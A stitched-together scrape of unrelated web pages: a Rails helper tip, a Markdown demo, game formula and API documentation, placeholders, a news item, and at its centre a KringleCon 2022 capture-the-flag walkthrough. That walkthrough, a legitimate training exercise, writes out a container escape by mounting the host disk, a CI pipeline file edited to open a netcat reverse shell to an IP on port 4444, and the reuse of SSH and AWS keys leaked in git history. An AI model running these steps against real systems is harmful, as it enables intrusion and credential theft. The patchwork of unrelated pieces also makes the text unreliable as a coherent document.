In Rails, all helpers are included in all views by default.
So your UsersHelper
methods are also available to your ItemsController
views.
I don’t like having that much stuff in the same namespace. Method names may collide, or else need inelegant prefixes.
This setting makes things more sensible:
1
|
|
ApplicationHelper
is still included in all views. Admin::UsersHelper
is only included in Admin::UsersController
views. If that controller inherits from Admin::BaseController
, then Admin::BaseHelper
will be included as well.
And here’s a nice (and fairly obvious) trick: you can still use regular Ruby modules to organize your methods into more than one file.
For example, I like to have a LayoutHelper
that the application layout template can use:
1 2 3 4 5 |
|
1 2 3 4 5 6 7 |
|
With include_all_helpers
off, the LayoutHelper
isn’t automatically included anywhere. But by simply include
ing it in the global ApplicationHelper
, now its methods are global too.
You get the benefits of splitting helpers into multiple files, without the downsides of having every helper available everywhere.


Definition lists are defined using the syntax established in PHP Markdown Extra.
I don't know kf I'm going to take a lot of time styling this but I'd something nice to work on.
- Apple
- Pomaceous fruit of plants of the genus Malus in the family Rosaceae.
- An American computer company.
- Orange
- The fruit of an evergreen tree of the genus Citrus.
- Pear
- A pair of what?
There is also...
Multiple terms with the same definition
- Term 1
- Term 2
- Definition a
- Term 3
- Definition b
Definitions with multiple paragraphs
- Term 1
-
This is a definition with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
-
Second definition for term 1, also wrapped in a paragraph because of the blank line preceding it.
- Term 2
-
This definition has a code block, a blockquote and a list.
code block.
block quote on two lines.
- first list item
- second list item
Abbreviations
I hope that this example comes up pretty quickly. As in pdq
or in headings
This might look pretty weird when I read it.
Also a random blockquote to change things up.
And this concludes my semi random content creation.


Introduction
Thanks a lot like every year for this great challenge!
Following my solutions.
Objectives
1 - KringleCon Orientation
Talk to Jingle Ringford
You can talk to him directly at the entrance:
Get your badge
When you talk to Jingle Ringford he will give you your first badge:
Create a wallet
To create a wallet click on the machine labeled “KTM”:
Click on “Click here when you’re ready to proceed”. After that you will get 5 coins and a wallet is created for you. Note down your wallet address and secret key.
Use the terminal
Click at the terminal next to Jingle Ringford:
Follow the instructions, click in the upper pane, type “answer” and press Enter:
Talk to Santa
Go through the open door. In the next room you will find Santa with whom you can talk:
2 - Recover the Tolkien Ring
Enter the round door between the red KringleCon flags. Go down the ladder. Move to the right and down the next ladder. If you look to the right you can enter the Tolkien Ring.
Wireshark Practice
Solution:
0 This all started when I clicked on a link in my email.
Can you help me?
-> Enter
1 There are objects in the PCAP file that can be exported by
Wireshark and/or Tshark. What type of objects can be exported from
this PCAP?
-> smb,http
2 What is the file name of the largest file we can export?
Click at “File” -> “Export Objects” and check which Objects you can export
Look into the size it’s 808 kB for app.php.
-> app.php
3 What packet number starts that app.php file?
Look again in the export window. The first row contain the packets. app.php 808 kB starts at packet number 687.
-> 687
4 What is the IP of the Apache server?
Filter for “http”. Look for how the traffic flows between requests and responses. There you can find the answer:
-> <IP_ADDRESS>
5 What file is saved to the infected host?
Find this, if you export HTTP objects and therefore get files. If you do a cat app.php
on this file you get this at the end:
-> Ref_Sept24-2020.zip
5 Attackers used bad TLS certificates in this traffic. Which
countries were they registered to? Submit the names of the
countries in alphabetical order separated by commas (Ex: Norway,
South Korea)
Look into ssl.handshake == 2
, and right click „follow tcp stream“ at the entries. In the stream you
can find country entries. Aggregate and order them
-> Israel, South Sudan, USA
7 Is the host infected (Yes/No)?
-> Yes
Find the next objective
Go a little bit more to the right in this room to find Fitzy Shortstack nearly at the end of the room to get the next objective.
Suricata Regatta
Solution:
1 Please create a Suricata Rule to catch DNS Lookups for
adv.epostoday.uk.
Whenever there's a match, the alert message(msg) should read
Known bad DNS lookup, possible Dridex infection
You can consult Understanding Suricata Signatures. This delivers:
-> alert dns any any -> any any (msg:"Known bad DNS lookup,
possible Dridex infection"; dns.query; content:
"adv.epostoday.uk"; nocase; sid: 1000001; rev:1;)
2 Develop a Suricata rule that alerts whenever the infected IP
address <IP_ADDRESS> communicates with internal systems over
HTTP.
When there's a match, the message (msg) should read "Investigate
suspicious connections, possible Dridex infection"
-> alert http <IP_ADDRESS> any <> $HOME_NET any (msg:"Investigate
suspicious connections, possible Dridex infection"; sid:1000002;
rev:1; )
3 We heard that some naughty actors are using TLS certificates
with a specific CN.
Develop a Suricata rule to match and alert on an SSL certificate
for heardbellith.Icanwepeh.nagoya.
When your rule matches, the message (msg) should read "Investigate
bad certificates, possible Dridex infection"
-> alert tls any any <> any any (msg:"Investigate bad certificates,
possible Dridex infection"; tls.cert_subject;
content:"CN=heardbellith.Icanwepeh.nagoya"; sid:1000003; rev:1; )
4 OK, one more to rule them all and in the darkness find them.
Let's watch for one line from the JavaScript: "let byteCharacters
= atob"
Oh, and that string might be GZip compressed - I hope that's OK!
Just in case they try this again, please alert on that HTTP data
with message "Suspicious JavaScript function, possible Dridex
infection"
-> alert http any any <> any any (msg:"Suspicious JavaScript
function, possible Dridex infection";http.response_body;
content:"let byteCharacters = atob"; sid: 1000004; rev:1;)
3 - Recover the Elfen Ring
Leave the tolkien ring room, go to the left, down the ladder and to the left. Enter the “Elfen Ring room”
Clone with a Difference
With the boat you can go the the right to find this objective. You can use the hint https://github.com/git-guides/git-clone. The name of the repo is “aws_script.git”. You can google „haugfactory aws_scripts git“ and you will find a gitlab repository. Here click on “clone” and use the http url, after that you can clone the repo:
If you look in the end of the README.md file with tail README.md
you will find the last word
which is “maintainers”. This you can enter after typing runtoanswer
ö to solve the objective.
Find the Next Objective
After solving the last point talk again to Bow Ninecastle to get the next badge.
Prison Escape
Go with the boat further right, up the stone way and enter the “Elf House”. Here you will find the next challenges.
First look into the systems shows .dockerenv
, so you know you are in a docker container:
To escape this docker you can do:
sudo bash
to get root privileges inside the container.
With that look for devices at the system:
fdisk -l
So there is one disk /dev/vda
which you can mount to get access to the host system:
mkdir /mnt/hola
mount /dev/vda /mnt/hola
cd /mnt/hola
Look what you can find here:
In /home/jailer/.ssh/jail.key.priv
you can find the solution:
So the answer is 082bb339ec19de4935867
.
Find the Next Objective II
Talk to Tinsel Upatree next to the terminal “Prison Escape” again to get the badge.
Jolly CI/CD
In the same room find Rippin Proudboot with the Jolly CI/CD challenge. Here you start in “grinchum-land” and you get a hint from Tinsel Upatree:
This means try to clone this git repo. Let’s do it (you have to wait some minutes until everything is prepared in the system, so try to ping it until the server is there):
ping gitlab.flag.net.internal
After that clone the repo:
git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Go into the repository:
cd wordpress.flag.net.internal/
Check the logs:
git log
There you can find an interesting log entry “whoops”.
Check out the commit:
git checkout e19f653bde9ea3de6af21a587e41e7a909db1ca5
and do a
git show
Oh, there is a private key!
Copy this in a safe folder before going back to the last commit.
Remember from the logs the entry update the gitlab.ci.yml
. This file can be found at the
root at .gitlab-ci.yml
.
mkdir ~/ssh
cp .ssh/.* ~/ssh
Go back to the last commit:
git checkout main
Now try to change the gitlab conf file to check if you can execute cde at the gitlab runner server since the config file runs each time a commit is done. Look again in the comment above from Tinsel Upatree, he told this:
With this project, once I push a commit, a GitLab runner will automatically deploy the changes to production
First let’s try to just add a file and push it:
touch a
git add a
git commit -m "push test"
You have to enter a name and an e-mail so we do that.  You have to set the user corresponding to the private key you found. You can achieve this using a ssh config file:
mkdir ~/.ssh
vim /home/samways/.ssh/config
Enter
Host gitserv
Hostname gitlab.flag.net.internal
IdentityFile /home/samways/ssh/.deploy
IdentitiesOnly yes
Set the origin in the git repo to this new config entry:
git remote remove origin
git remote add origin
git@gitserv:rings-of-powder/wordpress.flag.net.internal.git
Let’s find a reverse shell. First find out what is running at the gitlab-runner server. For this you can use an html file. The last line rsync command copies a created html file automatically to the root of the web server. So for that to do enter this before the rsync command:
echo $(ls /usr/bin) > test.html
Push it and request the html file from the server:
curl -L http://wordpress.flag.net.internal:80/test.html
This delivers:
awk basename bc beep blkdiscard bunzip2 bzcat bzip2 c_rehash cal
chvt cksum clear cmp comm cpio crontab cryptpw cut dc deallocvt
diff dirname docker-machine dos2unix du dumb-init eject env expand
expr factor fallocate find findssl.sh flock fold free fuser
getconf getent git git-lfs git-receive-pack git-shell git-upload-
archive git-upload-pack gitlab-ci-multi-runner gitlab-runner
groups hd head hexdump hostid iconv id install ipcrm ipcs killall
last ldd less logger lsof lsusb lzcat lzma lzopcat md5sum mesg
microcom mkfifo mkpasswd nc nl nmeter nohup nproc nsenter nslookup
od openssl openvt passwd paste pgrep pkill pmap posixtz printf
pscan pstree pwdx readlink realpath renice reset resize rsync
rsync-ssl scanelf scp seq setkeycodes setsid sftp sha1sum
sha256sum sha3sum sha512sum showkey shred shuf sort split ssh ssh-
add ssh-agent ssh-copy-id ssh-keygen ssh-keyscan ssh-pkcs11-helper
ssl_client strings sum tac tail tee test time timeout top tr
traceroute traceroute6 truncate tty ttysize udhcpc6 unexpand uniq
unix2dos unlink unlzma unlzop unshare unxz unzip uptime uudecode
uuencode vi vlock volname wc wget which who whoami whois xargs
xmlwf xxd xzcat yes
And there you can find nc, but this is not a netcat which can do -e /bin/bash
so you have to use
backpipes or other methods to pipe in a shell. An example can be found here.
Now you can push a reverse shell in the .gitlab-ci.yml
file.
Start tmux
, set up two panes with the shortcut Ctrl+B+” and start a netcat listener:
nc -nlvp 4444
Switch to the other pane using tmux: Ctrl+B+o
Change the content to the following using vim .gitlab-ci.yml
:
cat .gitlab-ci.yml
stages:
- deploy
deploy-job:
stage: deploy
environment: production
script:
- mknod /tmp/backpipe p
- /bin/sh 0</tmp/backpipe | nc <IP_ADDRESS> 4444 1>/tmp/backpipe
- rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html
After that you have a reverse shell to the system (you can switch it to fullscreen with Ctrl+b+z) . To
find the ring you can use the information found in the rsync command. There is a private key
referenced. So take this to execute commands directly at the web server. The flag can be found at
/flag.txt
. Cat the file and you can find the solution:
Enter the solution oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT
in the objective text field to solve the challenge.
4 - Recover the Web Ring
To find the Web ring leave the Elfen Ring, go to right, down the ladder between the candy canes and to the right.
Naughty IP
You can find the solution if you search for the most log entries:
After entering the IP you will get 5 coins and the badge.
Credential Mining
You have to search in the brute force of the login to find the first username tried. If you search for www-
form
in the pcap file you can find the username:
It’s alice
404 FTW
You can search in the weberror.log
for successful calls with a 200 HTTP code.
The first successful is proc
:
IMDS, XXE, and Other Abbreviations
The URL can be found using filter at proc
and going through the different tcp streams:
Find the Next Objective
You can find Alabaster Snowball in the middle of the room. Talk to him again:
Open Boria Mine Door
Solutions:
1:
&&&&&&&&&&&&&
2:
Here you have to use HTML and you can use Cascading Style Sheets inside the tag:
███
3:
Here you need JavaScript to set Cascading Style Sheets:

███

4:
At this point the first square brackets are stripped and also the first double quotes. So we just double it:
<
>████

████

5:
Here you have to use a web application proxy like Portswigger Burp to change the POST content:

         &███
      ███
 &&W     &███
 @     ███
<fo
nt size="8">█   ███
█ █
   █
  ██
6:
The last one can be done if you use scalable vector graphics:
<svg nmlns="http://www.w3.org/2000/svg" style="border:1px solid #ddd;" width="300" height="300" viewBox="0 -5 80 30"><path d="M -15 -21 L 180 -21" stroke="rgb(0,255,0)" stroke-width="6"/>
<path d="M -15 -12 L 180 19" stroke="red" stroke-width="6"/>
<path d="M -15 -2 L 80 25" stroke="blue" stroke-width="6"/></svg>
In Burp right click:
Convert selection -> URL -> URL-encode all characters
Click: Forward to forward the request to the server in the changed format
5 - Recover the Cloud Ring
To find the Cloud Ring leave the Web Ring go to left, down the ladder, right and to the left:
AWS CLI Intro
This is the challenge which can be found next to Jill Underpole.
Solutions
1 You may not know this, but AWS CLI help messages are very easy
to access. First, try typing aws help
-> aws help
2 Great! When you're done, you can quit with q.
Next, please configure the default aws cli credentials with the
access key AKQAAYRKO7A5Q5XUY2IY, the secret key
qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1.
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config
-> aws configure
AWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY
AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
Default region name [None]: us-east-1
Default output format [None]: <Enter>
3 Excellent! To finish, please get your caller identity using the
AWS command line. For more details please reference:
$ aws sts help
or reference:
https://awscli.amazonaws.com/v2/documentation/api/latest/
reference/sts/index.html
-> aws sts get-caller-identity
{
"UserId": "AKQAAYRKO7A5Q5XUY2IY",
"Account": "602143214321",
"Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
}
4 Great, you did it all!
Find the Next Objective
Talk again to Jill Underpole next to the terminal
Trufflehog Search
Gerty Snowburros gives you a link to a git repo https://haugfactory.com/asnowball/aws_scripts.git.
The URL which can be cloned can be found if you click “Clone” at https://haugfactory.com/asnowball/aws_scripts.git.
Install and use trufflehog to examine and find the solution:
The file which has AWS credentials - the solution - is put_policy.py
.
Find the Next Objective II
To find Gerty Snowburrow go in the middle of the room directly below the clock. Go up the ladder and to the left behind the terminal and up again:
Exploitation via AWS CLI
Open the terminal next to Sulfrod.
1 Use Trufflehog to find credentials in the Gitlab instance at
https://haugfactory.com/asnowball/aws_scripts.git.
Configure these credentials for us-east-1 and then run:
aws sts get-caller-identity
Analyse
trufflehog git http://haugfactory.com/orcadmin/aws_scripts.git
Remember the Access Key, git commit and file put_policy.py
from the results.
Clone the repo:
git clone http://haugfactory.com/orcadmin/aws_scripts.git
Change into the directory:
cd aws_scripts
Checkout the commit with the Access Key:
git checkout 106d33e1ffd53eea753c1365eafc6588398279b5
Display the content of put_policy
:
Solve the challenge
Enter aws configure
and the AWS Key ID, Secret Access Key and the region name mentioned above in the description
us-east-1
:
aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: <Enter>
aws sts get-caller-identity <Enter>
2 Managed (think shared) policies can be attached to multiple
users. Use the AWS CLI to find any policies attached to your user.
The aws iam command to list attached user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-user-policies.
Use the given link, search with Ctrl+F for “user-pol”.
The command is aws iam list-attached-user-policies
:
aws iam list-attached-user-policies --user-name haug
3 Now, view or get the policy that is attached to your user.
The aws iam command to get a policy can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Use the link to find get-policy
:
Take the ARN from the result before:
aws iam get-policy --policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
4 Attached policies can have multiple versions. View the default version of this policy.
The aws iam command to get a policy version can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
In the link you can find get-policy-version
:
aws iam get-policy-version --policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" --version-id v1
5 Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user.
The aws iam command to list user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-attached-user-policies.
The link gives you list-user-policies
aws iam list-user-policies --user-name haug
6 Now, use the AWS CLI to get the only inline policy for your user.
The aws iam command to get a user policy can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
With the help of the link enter:
aws iam get-user-policy --user-name haug --policy-name S3Perms
7 The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects.
List those objects!
The aws s3api command to list objects in an s3 bucket can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html
The last answer gives you smogmachines3
andthe link gives you:
aws s3api list-objects --bucket smogmachines3
8 The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions.
The aws lambda command to list functions can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html
aws lambda list-functions
9 Lambda functions can have public URLs from which they are directly accessible.
Use the AWS CLI to get the configuration containing the public URL of the Lambda function.
The aws lambda command to get the function URL config can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html
aws lambda get-function-url-config --function-name smogmachine_lambda
10 Great, you did it all - thank you!
6 - Recover the Burning Ring of Fire
To find this room leave the cloud ring, go to the right, go down the ladder and to the left.
Buy a Hat
At the right you will find Wombley Cube and its Vending Machine.
The Hat Vending Machine gives you a target address and price when you click at a hat:
Go to the right to the KTM:
Click “Approve a KringleCoin transfer”, enter the target address, 10 KTC and your secret key. The secret key is the key you have noticed at the beginning. Click at “Approve Key”. After that go back to the Hat Vending Machine. Press “Approved a transaction? Know your Hat Id? Click here to buy”.
Blockchain Divination
If you go down the ladder and completey to the right you can find the “Blockchain Explorer”:
Enter “1” to get more up in the Merkle Tree.
In the cell “contract address” or “to” you can find at what address the smart contract was deployed.
Exploit a Smart
The challenge is
Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.
Open the website to the Bored Sporc Rowboat Society Pre Sale:
If you look into the source code you find the root hash of the Merkle tree:
So if we intercept the request after clicking “Go!” you have 3 values:
WalletID
, Root
as well as Proof
. And you can set Validate
to true
or false
. All the values needed to calculate a chain in the Merkle Tree.
If you clone https://github.com/QPetabyte/Merkle_Trees. Build the dockerfile
Run it:
«pre>sudo docker run -it --rm --name=merkletrees merkletrees

If you start it you can see:
In the file merkle_tree.py
there is the following line (look into it for example using vim merkle_tree.py
):
Change the first value to your wallet address. Run the program again and you get a new root and proof.
All the 3 values wallet id, root hash and proof hash you can now enter in the intercepted request forward it and you have solved the challenge:
Hidden treasure chests
To find hidden coins you can go:


Kancolle Sortie Simulator - Calculations
(Last updated: 2016-10-25)
This page describes calculations as used by the simulator, as well as sources suggesting their accuracy. It is intended to describe the simulator only; they MAY NOT reflect actual in-game calculations.
Confidence Ratings:
Green: Backed by sources, and any changes are expected to be minor and not affect results much.
Yellow: Has a source, but not well verified.
Red: Likely to change as new information is found.
Accuracy and Evasion
Accuracy Term
Evasion Term
precapEV = (EV + sqrt(LUK*2))*formationMod
postcapEV =
| 55 + 2*sqrt(precapEV - 65) | | if precapEV ≥ 65 |
| 40 + 3*sqrt(precapEV - 40) | | if 40 ≤ precapEV < 65 |
| precapEV | | if precapEV < 40 |
Evasion Term = (postcapEV - fuelPenalty + sonarImproveBonus + CABonus)*searchlightPenalty
Source: http://s.webry.info/sp/bs-arekore.at.webry.info/201502/article_4.html
formationMod:
| Formation | Day Shelling | Torpedo | ASW | Night Battle | Airstrike |
| 1 | 1 | 1 | 1 | 1 |
| 1 | 1 | 1 | 1 | 1.2 |
| 1.1 | 1.1 | 1 | 1 | 1.6 |
| 1.2 | 1.3 | 1.3 | 1.1 | 1 |
| 1.3 | 1.4 | 1.1 | 1.2 | 1 |
fuelPenalty = 75 - % Fuel Leftif % Fuel Left < 75
sonarImproveBonus = sum( 1.5*sqrt(★) ) for each sonar if Torpedo Phase
CABonus = 5 if Night Battle and ship is a CA/CAV
searchlightPenalty = 0.2 if Night Battle and ship has a Searchlight equipped
Determining Result
Hit Rate = (Accuracy Term - Evasion Term)*targetMoraleMod + proficiencyAccBonus
*(Accuracy Term - Evasion Term) is max 96, min 10
targetMoraleMod:
| Morale | Modifier |
| 53 - 100 | 0.7 |
| 33 - 52 | 1 |
| 23 - 32 | 1.2 |
| 0 - 22 | 1.4 |
Critical Chance
Crit Rate = critMod*sqrt(Hit Rate) + nightScoutBonus + proficiencyCritBonus
critMod
| Phase | Modifier |
| Day Shelling | 1.3 |
| Torpedo | 1.5 |
| ASW | 1.3 |
| Airstrike | 0.2 |
| Night Battle | 1.5 |
| Support Shelling | 1 |
| Support Torpedo | 1.2 |
nightScoutBonus = 7 if Night Battle and activated
Aircraft Proficiency
Planes may have EXP values ranging from 0 to 120. The EXP range determines the rank.
| Rank | EXP Range | EXP used by simulator | accValue | critRateValue | critDamageValue |
| None | 0 - 9 | 0 | 0 | 0 | 0 |
| | | 10 - 24 | 10 | 0 | 0 | 0 |
| || | 25 - 39 | 25 | 1 | 0 | 0 |
| ||| | 40 - 54 | 40 | 2 | 0 | 0 |
| \ | 55 - 69 | 55 | 3 | 0 | 0 |
| \\ | 70 - 79 | 70 | 4 | 0 | 0 |
| \\\ | 80 - 99 | 80 | 6 | 4.2 | 5.6 |
| >> | 100 - 120 | 120 | 9 | 6 | 8 |
proficiencyAccBonus = sqrt(EXP) + accValue for the AVERAGE rank/EXP of all equipped planes
proficiencyCritBonus = SUM( critRateValue ) of all equipped planes
proficiencyCritMultiplier = SUM( sqrt(EXP*1.2) + critDamageValue ) of all equipped planes, doubled for plane in first slot
Source: http://kankoregouchin.blog.fc2.com/blog-entry-54.html
To determine hit result:
Roll a random integer r from 0 to 99 (inclusive).
If r ≤ Crit Rate, attack is a critical.
Else if r ≤ Hit Rate, attack is a normal hit.
Else, attack misses.
Air Battle
Fighter Combat
In Air Phase Stage 1, fighter power is compared and planes on each side are shot down depending on result.
This is applied to all fighters, torpedo bombers, dive bombers, seaplane bombers, and seaplane fighters.
Enemy Plane Loss:
| Air State | % Planes Lost | Calculation (randInt inclusive) |
| AS+ | 0% - 10% | 10*(.35*randInt(0,1) + .65*randInt(0,1)) |
| AS | 0% - 40% | 10*(.35*randInt(0,4) + .65*randInt(0,4)) |
| AP | 0% - 60% | 10*(.35*randInt(0,6) + .65*randInt(0,6)) |
| AI | 0% - 80% | 10*(.35*randInt(0,8) + .65*randInt(0,8)) |
| AD | 0% - 100% | 10*(.35*randInt(0,10) + .65*randInt(0,10)) |
Source: http://ja.kancolle.wikia.com/wiki/%E3%82%B9%E3%83%AC%E3%83%83%E3%83%89:1542
Source: https://cdn.discordapp.com/attachments/230559622711345152/234134364198273024/-4ada3Q2f-5czcK2sT3cS1gr-ib.jpg
Anti-Air Cut-In
Ship Anti-Air
Artillery Spotting Chance
if AS+: AS chance = floor(20 + 1.12*equipLOS + 0.7*fleetLOS + floor(sqrt(LUCK)))/typeMod
if AS: AS chance = floor(10 + 0.72*equipLOS + 0.6*fleetLOS + floor(sqrt(LUCK)))/typeMod
equipLOS = sum LOS from equipment
fleetLOS = floor(sqrt(x) + x/10), where x = sum base LOS from all ships in fleet + sum LOS from all recon planes in fleet
| AS Type | typeMod |
| Double Attack | 1.3 |
| Sec. Gun Cut-In | 1.2 |
| Sec. + Radar Cut-In | 1.3 |
| Sec. + AP Cut-In | 1.4 |
| AP Shell Cut-In | 1.5 |
Night Battle Cut-In Chance
if double attack: 99%
if LUCK < 50: NB chance = (15 + LUK + 0.75*sqrt(LVL) + flagshipBonus + chuuhaBonus + lookoutBonus + searchlightBonus + starshellBonus)/typeMod
if LUCK ≥ 50: NB chance = (65 + sqrt(LUK-50) + 0.8*sqrt(LVL) + flagshipBonus + chuuhaBonus + lookoutBonus + searchlightBonus + starshellBonus)/typeMod
flagshipBonus = 15 if flagship
chuuhaBonus = 18 if medium damaged
lookoutBonus = 5 if lookout equipped
searchlightBonus: +7 if self, -5 if enemy
starshellBonus: +4 if self, -10 if enemy
| NB Attack | typeMod |
| Mixed Cut-In | 1.15 |
| Torpedo Cut-In | 1.22 |
| Sec. Gun Cut-In | 1.3 |
| Main Gun Cut-In | 1.4 |
Installation Damage
Miscellaneous
Searchlight Targeting
Roll randomly for a target.
If small searchlight was activated and target is not holding a searchlight, reroll once for a new target. (With 6 ships, searchlight ship targeted chance = (1/6) + (5/6)*(1/6) = 30.56%.)
If large searchlight was activated and target is not holding a searchlight, reroll up to twice for a new target. (With 6 ships, searchlight ship targeted chance = (1/6) + (5/6)*(1/6) + (5/6)2*(1/6) = 42.13%.)
Source: http://i.imgur.com/ElrJxcM.jpg
Combined Fleet
Shelling power bonuses are applied to both player and enemy side.
Shelling uses same formula, but with different base value (instead of 90).
Carrier Task Force:
Player Main: 90
Player Escort: 55
Enemy vs Main: 90
Enemy vs Escort: 65
Surface Task Force:
Player Main: 50
Player Escort: 75
Enemy vs Main: 65
Enemy vs Escort: 75
Transport Task Force:
Player Main: 50
Player Escort: 75
Enemy vs Main: 65
Enemy vs Escort: 75
Source: https://docs.google.com/spreadsheets/d/1Nw8ykFYlAPv2znhYy_hRBX3HRtEAB7oclEh3XaAYv5A/edit#gid=0
Back to Simulator


| Interface | Description |
|---|---|
| Ageable |
'age' represents the different growth stages that a crop-like block can go
through.
|
| AnaloguePowerable |
'power' represents the redstone power level currently being emitted or
transmitted via this block.
|
| Attachable |
'attached' denotes whether a tripwire hook or string forms a complete
tripwire circuit and is ready to trigger.
|
| Bisected |
'half' denotes which half of a two block tall material this block is.
|
| BlockData | |
| Directional |
'facing' represents the face towards which the block is pointing.
|
| FaceAttachable |
'face' represents the face to which a lever or button is stuck.
|
| Levelled |
'level' represents the amount of fluid contained within this block, either by
itself or inside a cauldron.
|
| Lightable |
'lit' denotes whether this block (either a redstone torch or furnace) is
currently lit - that is not burned out.
|
| MultipleFacing |
This class encompasses the 'north', 'east', 'south', 'west', 'up', 'down'
boolean flags which are used to set which faces of the block textures are
displayed on.
|
| Openable |
'open' denotes whether this door-like block is currently opened.
|
| Orientable |
'axis' represents the axis along whilst this block is oriented.
|
| Powerable |
'powered' indicates whether this block is in the powered state or not, i.e.
|
| Rail |
'shape' represents the current layout of a minecart rail.
|
| Rotatable |
'rotation' represents the current rotation of this block.
|
| Snowable |
'snowy' denotes whether this block has a snow covered side and top texture
(normally because the block above is snow).
|
| Waterlogged |
'waterlogged' denotes whether this block has fluid in it.
|
| Enum | Description |
|---|---|
| Bisected.Half |
The half of a vertically bisected block.
|
| FaceAttachable.AttachedFace |
The face to which a switch type block is stuck.
|
| Rail.Shape |
The different types of shapes a rail block can occupy.
|
Copyright © 2021. All rights reserved.


Assignments
You will have 4-6 programming assignments. Grades are given on the checkmark scale and the main criteria is
your effort on assignments.  We hope you have fun completing these assignments.


Layout Parameters
Thumb Size
Layout Strategy
Fixed Height
Grid
Hybrid
Viewing Mode
single
book
scroll
Reading Direction
Left to Right
Right to Left
Top to Bottom
Bottom to Top
Canvas Padding
Canvas Positioning
Top
Centered
Bottom
IIIF manifest d3 osd layout by Anonymous


Coming Soon!
We are currently building our site. Sign up below and we will let you know when its ready!


{% extends 'pages/base.html' %} {% block nav_nidaba %}active{% endblock %} {% block content %}
Nidaba was the Sumerian goddess of writing and learning and the scribe of the Gods.
#}Nidaba is a data analytics project devoted to analysing the Python questions and answers on Stack Overflow.
Using the Stack Exchange Data Dump and
Stack Exchange API, we have incredible real-time access to the Stack
Overflow Python data. The Python
tag currently has over 300,000 questions with several hundred
more asked every day. The aim of Nidaba is to take this information and make the most that we can from it.
Nidaba (or Nisaba) was the Sumerian goddess of writing, teaching, and the harvest. Her main role was as the scribe of the Gods and keeper of records.
The aim of Stack Overflow as a whole is to produce a library to every possible question about programming. When choosing a deity to name your project after, what better one than the scribe of the Gods and keeper of records?
A big part of Nidaba will be analysis of data. There will be broadly two different sets of analysis: analysis that is directly actionable (i.e. finding duplicates) and analysis that is instead informative (trends in the sopython data, etc).
Some ideas we have going forward are:
As devoted Pythonistas we have chosen to do the majority of our work in Python. Some of the technologies we are using (or plan to use) include:
Project Nidaba is a young project and we welcome your ideas, advice, and help. Please contact us by email or pop into the sopython chatroom if you want to chat.
You can find the source code for Nidaba at our Github page.
You can find out what we're working on at the moment and what we've got planned for the future at our Trello page.


---
layout: post
title: ''
date: '2008-08-17T23:35:25-07:00'
tags:
- darth vader
- cat
- star wars
tumblr_url: http://alexhwilliams.tumblr.com/post/46373124/i-like-the-idea-of-a-cat-named-after-darth-vader
---
I like the idea of a cat named after Darth Vader.


Before Change
mdp_continuous.info.observation_space.high[0], 10)
s_2 = np.linspace(mdp_continuous.info.observation_space.low[1],
mdp_continuous.info.observation_space.high[1], 10)
for i in s_1:
for j in s_2:
alg._update(np.array([i, j]), np.array([1]), 100, np.array([0, 0]),
0)
test_w = np.array([[0, 0, 0, 0],
[927.0283, 798.57594, 876.8018, 705.227],
[0, 0, 0, 0]])
After Change
def test_true_online_sarsa_lambda():
pi, _, mdp_continuous = initialize()
mdp_continuous.seed(1)
n_tilings = 1
tilings = Tiles.generate(n_tilings, [2, 2],
mdp_continuous.info.observation_space.low,
mdp_continuous.info.observation_space.high)


Contact us
Someone from the team is about to read your message and will reach out to you soon. You can also see your previous messages.


Commonwealth Bank to refund $12m after admitting to criminal breaches over phone sales
by The New DailyCommInsure will refund more than $12 million to about 30,000 life insurance customers after pleading guilty to 87 counts of unlawfully selling policies over the phone.
The Commonwealth Bank-owned insurer pleaded guilty to the hawking charges brought by the financial regulator and expects to refund customers by the end of this year.
The Australian Securities and Investments Commission flagged a number of issues with CommInsure over the sale of its accidental death insurance, including the fact that almost half the policies sold in 2012/13 were cancelled within six months and that the speed of sales indicated customers could not have made an informed purchase.
Citing a previous report, ASIC found almost half of the “‘Accident Protection’’ policies sold by CBA’s CommInsure in 2012-13 had been cancelled within six months of buying the policies. The regulator said this suggested consumers “may have felt pressured to buy the policy then realised they did not want it or could not afford it.”
“ASIC is concerned that the way in which these products were sold was manifestly unfair, with customers given insufficient information to make an informed decision,” the watchdog’s deputy chairman, Daniel Crennan QC, said.
-with AAP


- save() - Static method in class Utils.AppStateManager
-
Saves the current instance of app state.
- save(Favorites) - Static method in class Utils.FavoritesManager
-
Saves favorites to the filesystem in JSON format.
- saveText(String, String) - Static method in class Utils.FileUtils
-
Save a text based file.
- setMainBg(Boolean) - Method in class View.Main
-
Change Background when user has Internet/No Internet
- setOnTaskCompleteListener(StationDataWorker.OnTaskCompleteListener) - Method in class Utils.StationDataWorker
-
Set the success/fail listener.
